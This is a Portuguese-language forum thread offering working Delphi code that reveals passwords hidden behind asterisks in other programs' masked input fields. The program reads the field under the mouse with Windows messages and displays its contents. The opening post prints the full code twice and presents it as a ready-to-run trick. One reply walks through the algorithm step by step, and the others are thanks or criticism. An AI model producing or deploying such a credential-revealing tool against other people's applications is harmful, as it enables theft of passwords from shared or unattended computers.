Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

[Dica] Como descobrir senha no Delphi

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Delphi [Dica] Como descobrir senha no Delphi

    De repente acontece e você está lá: de frente para o computador. E na tela do computador apenas a misteriosa
    "*****". Então você se pergunta: que senha será esta que está digitada? Bom, antes de você optar pelo método
    de tentativa e erro, crie uma aplicação nova no Delphi e coloque no formulário um componente TTimer. No
    evento OnTimer deste componente coloque o seguinte código:

    var
    WndHint: THintWindow = nil; // declare a variável fora da procedure

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
    Pos: TPoint;
    HWin: THandle;
    Paswd: array[0..63] of Char;
    R: TRect;
    begin
    GetCursorPos(Pos);
    HWin := WindowFromPoint(Pos);
    if SendMessage(HWin, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
    begin
    if WndHint = nil then
    begin
    WndHint := THintWindow.Create(Self);
    WndHint.Color := clInfoBk;
    SendMessage(HWin, WM_GETTEXT, 64, Longint(@Paswd));
    R := Rect(Pos.X, Pos.Y + 18, Pos.X +
    WndHint.Canvas.TextWidth(Paswd) + 8,
    Pos.Y + 18 + WndHint.Canvas.TextHeight(Paswd));
    WndHint.ActivateHint(R, Paswd);
    end;
    end
    else if WndHint <> nil then
    begin
    WndHint.ReleaseHandle;
    WndHint := nil;
    end;
    end;



    agora como descobrir senha oculta



    Var
    WndHint: THintWindow = nil; // declare a variável fora da procedure

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
    Pos: TPoint;
    HWin: THandle;
    Paswd: array[0..63] of Char;
    R: TRect;
    begin
    GetCursorPos(Pos);
    HWin := WindowFromPoint(Pos);
    if SendMessage(HWin, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
    begin
    if WndHint = nil then
    begin
    WndHint := THintWindow.Create(Self);
    WndHint.Color := clInfoBk;
    SendMessage(HWin, WM_GETTEXT, 64, Longint(@Paswd));
    R := Rect(Pos.X, Pos.Y + 18, Pos.X +
    WndHint.Canvas.TextWidth(Paswd) + 8,
    Pos.Y + 18 + WndHint.Canvas.TextHeight(Paswd));
    WndHint.ActivateHint(R, Paswd);
    end;
    end
    else if WndHint <> nil then
    begin
    WndHint.ReleaseHandle;
    WndHint := nil;
    end;
    end;
    Está pronto! Agora basta você executar a aplicação e mante-la minimizada. Quando parar o ponteiro do mouse sobre o Edit que contém o misterioso "********" você verá um Hint informando qual é a senha que foi digitada.
    Last edited by .IndependentResearch.; 18-12-2009, 19:40.
    sigpic



  • Font Size
    #2
    Muito Bom

    Muito boa a dica, mas tenho só algumas observações xD

    Bom...esse método somente funciona com senhas do tipo * ou qualquer outro char, que é o que mais se encontra. O windows possui um outro método de mascarar senhas, no qual essa técnica não funciona, ou seja, não é garantido que vá funcionar em todas as senhas que você tentar descobrir.

    E só complementando mais um pouco vou dar uma breve explicada de como esse método funciona =)

    O que o programa faz basicamente é enviar mensagens para uma determinada janela ou controle (e, consequentemente, para a aplicação que a controla) através da função SendMessage(); da API do Windows. Com essas mensagens o programa consegue pegar o texto presente por trás da máscara de senhas.

    O algoritmo utilizado pelo programa é o seguinte:
    1. Pegue a posição do mouse
    2. Encontre a janela (ou controle) que está debaixo do ponteiro do mouse
    3. Envie a mensagem EM_GETPASSWORDCHAR para este controle
    4. Se a função retornar algum Password Char, então: (se ela retorna algum password char é porque é uma caixa de senhas que está embaixo do mouse)
    5. Envie uma mensagem GET_TEXT para pegar o texto (senha)
    6. Crie uma caixinha de hint e mostre a senha que foi pega


    é isso aí =)

    ah...soh mais uma dica de programação...sempre procure indentar seus códigos, fica muito mais inteligível

    Obs1: Indentar é isso:
    Código:
    Comando
    Comando
    if condiçao then
       comando
       comando
       if condiçao2 then
          comando
          comando
       end
    end
    comando...
    Obs2: Não estou querendo estragar o tópico de ninguém, só estou complementando =)


    Flws
    Black-Hat.

    Comment


    • Font Size
      #3
      Nice topic and Nice post XD. Vou tentar aqui em casa =D. '*.*' Recomeçando delphi huahSHUHASHaus
      sigpic

      Os melhores...
      Lord Beni-Aretz,Mtz,Jumper,#Expl0it,Maghost,Hunter,Bebo.Net, red_star,Capiroto,Ŀεŋαмστε

      Comment


      • Font Size
        #4
        Eu não entendi vantagem nenhuma sobre isso pois se tiver alguem querendo aprender ai so vai tar o codigo , ele nao aprende nada com isso .;/

        Comment

        X
        Working...
        X